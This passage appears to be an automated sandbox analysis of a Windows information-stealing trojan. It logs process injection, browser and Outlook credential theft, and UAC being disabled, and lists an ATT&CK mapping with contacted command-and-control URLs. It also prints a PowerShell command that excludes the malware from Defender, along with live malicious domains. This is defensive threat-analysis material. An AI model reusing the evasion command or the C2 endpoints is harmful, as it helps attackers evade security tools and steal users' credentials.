Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtSetInformationProcess: Direct from: 0x77672C5C	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtMapViewOfSection: Direct from: 0x77672D1C	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtNotifyChangeKey: Direct from: 0x77673C2C	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtWriteVirtualMemory: Direct from: 0x77672E3C	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	NtCreateMutant: Direct from: 0x776735CC	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: NULL target: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: NULL target: C:\Windows\SysWOW64\SecEdit.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: NULL target: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: NULL target: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\SecEdit.exe

Thread register set: target process: 7240

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\SecEdit.exe

Thread APC queued: target process: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 2FE5008	Jump to behavior

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\Windows Mail\wab.exe"	Jump to behavior
Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\Windows Mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe	Process created: C:\Windows\SysWOW64\SecEdit.exe "C:\Windows\SysWOW64\SecEdit.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000B.00000002.3792078303.00000000017C1000.00000002.00000001.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000B.00000000.1468162563.00000000017C1000.00000002.00000001.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000000.1610181237.0000000001610000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000B.00000002.3792078303.00000000017C1000.00000002.00000001.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000B.00000000.1468162563.00000000017C1000.00000002.00000001.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000000.1610181237.0000000001610000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000B.00000002.3792078303.00000000017C1000.00000002.00000001.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000B.00000000.1468162563.00000000017C1000.00000002.00000001.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000000.1610181237.0000000001610000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: EProgram Manager
Source: sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000B.00000002.3792078303.00000000017C1000.00000002.00000001.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000B.00000000.1468162563.00000000017C1000.00000002.00000001.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000000.1610181237.0000000001610000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Queries volume information: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disables UAC (registry)

Source: C:\Users\user\Desktop\z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Source: Amcache.hve.8.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 4.2.wab.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.wab.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1543223916.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3791309968.0000000002A30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3795206841.00000000053A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1542801016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3791449632.0000000002A70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3790655186.0000000000570000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3792934989.0000000004160000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1543864387.0000000004D40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\SecEdit.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\SecEdit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\SecEdit.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 4.2.wab.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.wab.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1543223916.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3791309968.0000000002A30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3795206841.00000000053A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1542801016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3791449632.0000000002A70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3790655186.0000000000570000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3792934989.0000000004160000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1543864387.0000000004D40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	11 Registry Run Keys / Startup Folder	512 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	21 Disable or Modify Tools	LSASS Memory	231 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Registry Run Keys / Startup Folder	41 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	512 Process Injection	NTDS	41 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	113 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Rundll32	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	37%	ReversingLabs	Win32.Trojan.Generic
z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	100%	Avira	TR/AD.Swotter.ecpvo
z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.54bxd.cyou/qii2/	0%	Avira URL Cloud	safe
http://pacopodcast.nl/sid8/?bFGXGTdX=cgqWRxBHisZEfk4b7YR89gpEuwk5o8UHHlGjArh/bwghFTR5hpE/	0%	Avira URL Cloud	safe
http://www.54bxd.cyou/qii2/?bFGXGTdX=MyAnEvAqgx9IHgh7O1f7tHhASGGjAfpU9Y1SDE6GUOU+/QpZ0wdWe4W7KVnq9zWaa6WrnYnil8yz0OBRRbaeb4KuJn8nSoXQG6ZxMFNQIXEXLDmqOQ==&M87d=RDddFbF8	0%	Avira URL Cloud	safe
http://drivemktg.co/6iyv/?bFGXGTdX=QUgjltNnPM7fQ1	0%	Avira URL Cloud	safe
http://www.grafiktema.xyz/pt32/?bFGXGTdX=y3myQPKMG7UG4U86kYjDSgzezXSmAkUzi6cKVm8KTXszLa2xdxq+NpYfRMeTkluAfKxM8yJJ9pAbryr3svtYXqMrD5rBnUtNlc/QUHCATHSaLBoyFg==&M87d=RDddFbF8	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css	0%	Avira URL Cloud	safe
http://www.aceautocorp.com/9og3/	100%	Avira URL Cloud	malware
http://www.vacaturecast.com/sid8/?bFGXGTdX=cgqWRxBHisZEfk4b7YR89gpEuwk5o8UHHlGjArh/bwghFTR5hpE/+eDIKv47LadViiJNA0l9U7AJcEYo6/DJIlnE312L8+JFdumWlHM1LGtkr/t6bg==&M87d=RDddFbF8	0%	Avira URL Cloud	safe
http://www.cr-pos.com/o1v8/	0%	Avira URL Cloud	safe
https://www.gandi.net/en/domain	0%	Avira URL Cloud	safe
http://www.purpleheartlacey.com/rlev/	100%	Avira URL Cloud	malware
http://www.fardvuss.top/oxoz/	0%	Avira URL Cloud	safe
http://www.bitmapsportsbook.com/zwgt/?bFGXGTdX=dCUrqoNNqYa01jj8ucmLyHx7kNIUn0PrfHpa8tjXz+CKp9k6oQP/Fdto1b0bQ/emz29BsG965J3wVz+jeRQuKqDu3O+8XeswSZaKGjOqnVkBxijyaA==&M87d=RDddFbF8	0%	Avira URL Cloud	safe
http://www.purpleheartlacey.com/rlev/?bFGXGTdX=Wo1R3wm8Ej8entDC+cV4KaEDP0IDvxtNKgFdfJiYIIGalaQSkKKZ1Xkt0Su2x108KR/fnP4QiNVkos1WTd/84fgdAaOORrOEsxtw8yTuzQl5BJwg/A==&M87d=RDddFbF8	100%	Avira URL Cloud	malware
http://aceautocorp.com/9og3/?bFGXGTdX=ZBkskPBELyIjvtDi08MWm9rbu3iLorcPFzn2FRxS1jOC36b61Sx96mOK	100%	Avira URL Cloud	malware
https://cdnjs.cloudflare.com/ajax/libs/gsap/3.1.1/gsap.min.js	0%	Avira URL Cloud	safe
http://www.drivemktg.co/6iyv/	0%	Avira URL Cloud	safe
http://www.bitmapsportsbook.com/zwgt/	0%	Avira URL Cloud	safe
http://www.drivemktg.co/6iyv/?bFGXGTdX=QUgjltNnPM7fQ1+0bKwVMbQ54EaLfCpy+OUhi4BxQU9uhqAfHapQDk2a3aAnmDcuDNg9UdkAVeopJ3fRxVhQVT9mj+0/2IqVm/xmg09egO+B+lk9Mw==&M87d=RDddFbF8	0%	Avira URL Cloud	safe
https://whois.gandi.net/en/results?search=goodgiftguru.com	0%	Avira URL Cloud	safe
http://www.vacaturecast.com/sid8/	0%	Avira URL Cloud	safe
http://www.goodgiftguru.com/p2ly/?bFGXGTdX=854srIWxIbaR7EG2BVBjn1PfwNbGMwTqcAT48G/3DKSB08gEc85mKKLIvkpoComultp7rI80f5482EKJDc++UJ/X9hbLrPJpiCWZeROTRI35j/SOzA==&M87d=RDddFbF8	100%	Avira URL Cloud	malware
http://www.nbh6agr8h.sbs/bqpw/?bFGXGTdX=7i7mgMVoUdn3K3H4hxR2Z2sx7NMDmz1WBuojPjrSQrb0L6/7xSQOb69NgDz1ThGB8kqobNNV7CaIX5kMC3tpqGoJwELsf5+TzHoCpSOUthnHuH68iQ==&M87d=RDddFbF8	0%	Avira URL Cloud	safe
http://www.cr-pos.com	0%	Avira URL Cloud	safe
http://www.nbh6agr8h.sbs/bqpw/	0%	Avira URL Cloud	safe
http://www.trcrb8e8m.sbs/d8su/?bFGXGTdX=3HBCjYMba2FPA3TIMZ366tJLR19IJjxz0bIsDTYva69fDAgKwrpmDBuz3X8ZHGWOiFUXNC9bte/eip1p2XCq457JVfW7M++UWZyl/bQwgvBliJsYpA==&M87d=RDddFbF8	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	0%	Avira URL Cloud	safe
http://www.grafiktema.xyz/pt32/	0%	Avira URL Cloud	safe
http://www.r7xzr3ib0.sbs/zqqa/	0%	Avira URL Cloud	safe
http://www.fardvuss.top/oxoz/?bFGXGTdX=2tfclvLQdcOBJmGnIZVAP5JMnkUnnIVvl5+7iv031/ylbgKII8HkCnHT6NNgDVU8buPmA9RxJ1d+vIxyZHsoGN30KfBqGUlKbJLPWs8oJbYVBexVLA==&M87d=RDddFbF8	0%	Avira URL Cloud	safe
http://www.trcrb8e8m.sbs/d8su/	0%	Avira URL Cloud	safe
http://www.cr-pos.com/o1v8/?bFGXGTdX=1i6yDzrkvfTg1xRY+mVcmT0mAxqtzWYSPwzr6OqMIexmyiVm05r+M/L0QtcaHGif89shAFkQDwq9CioCdeM2s5RrcMFZtF0WLInyLOarA44qlhj6rw==&M87d=RDddFbF8	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
webredir.vip.gandi.net	217.70.184.50	true	true	unknown
www.54bxd.cyou	154.213.157.32	true	true	unknown
www.fardvuss.top	199.192.19.19	true	true	unknown
vacaturecast.com	91.184.0.111	true	true	unknown
parkingpage.namecheap.com	91.195.240.19	true	true	unknown
cr-pos.com	192.250.231.28	true	true	unknown
www.drivemktg.co	193.108.130.23	true	true	unknown
xiaoyue.zhuangkou.com	47.239.13.172	true	true	unknown
grafiktema.xyz	31.186.11.254	true	true	unknown
aceautocorp.com	198.12.241.35	true	true	unknown
www.r7xzr3ib0.sbs	unknown	unknown	true	unknown
www.nbh6agr8h.sbs	unknown	unknown	true	unknown
www.vacaturecast.com	unknown	unknown	true	unknown
www.purpleheartlacey.com	unknown	unknown	true	unknown
www.cityrentsatruck.com	unknown	unknown	true	unknown
www.cr-pos.com	unknown	unknown	true	unknown
www.sulpapeis.online	unknown	unknown	true	unknown
www.grafiktema.xyz	unknown	unknown	true	unknown
www.goodgiftguru.com	unknown	unknown	true	unknown
www.bitmapsportsbook.com	unknown	unknown	true	unknown
www.trcrb8e8m.sbs	unknown	unknown	true	unknown
www.aceautocorp.com	unknown	unknown	true	unknown
www.make-l.ru	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.vacaturecast.com/sid8/?bFGXGTdX=cgqWRxBHisZEfk4b7YR89gpEuwk5o8UHHlGjArh/bwghFTR5hpE/+eDIKv47LadViiJNA0l9U7AJcEYo6/DJIlnE312L8+JFdumWlHM1LGtkr/t6bg==&M87d=RDddFbF8	true	Avira URL Cloud: safe	unknown
http://www.cr-pos.com/o1v8/	true	Avira URL Cloud: safe	unknown
http://www.54bxd.cyou/qii2/	true	Avira URL Cloud: safe	unknown
http://www.54bxd.cyou/qii2/?bFGXGTdX=MyAnEvAqgx9IHgh7O1f7tHhASGGjAfpU9Y1SDE6GUOU+/QpZ0wdWe4W7KVnq9zWaa6WrnYnil8yz0OBRRbaeb4KuJn8nSoXQG6ZxMFNQIXEXLDmqOQ==&M87d=RDddFbF8	true	Avira URL Cloud: safe	unknown
http://www.grafiktema.xyz/pt32/?bFGXGTdX=y3myQPKMG7UG4U86kYjDSgzezXSmAkUzi6cKVm8KTXszLa2xdxq+NpYfRMeTkluAfKxM8yJJ9pAbryr3svtYXqMrD5rBnUtNlc/QUHCATHSaLBoyFg==&M87d=RDddFbF8	true	Avira URL Cloud: safe	unknown
http://www.aceautocorp.com/9og3/	true	Avira URL Cloud: malware	unknown
http://www.bitmapsportsbook.com/zwgt/?bFGXGTdX=dCUrqoNNqYa01jj8ucmLyHx7kNIUn0PrfHpa8tjXz+CKp9k6oQP/Fdto1b0bQ/emz29BsG965J3wVz+jeRQuKqDu3O+8XeswSZaKGjOqnVkBxijyaA==&M87d=RDddFbF8	true	Avira URL Cloud: safe	unknown
http://www.fardvuss.top/oxoz/	true	Avira URL Cloud: safe	unknown
http://www.purpleheartlacey.com/rlev/?bFGXGTdX=Wo1R3wm8Ej8entDC+cV4KaEDP0IDvxtNKgFdfJiYIIGalaQSkKKZ1Xkt0Su2x108KR/fnP4QiNVkos1WTd/84fgdAaOORrOEsxtw8yTuzQl5BJwg/A==&M87d=RDddFbF8	true	Avira URL Cloud: malware	unknown
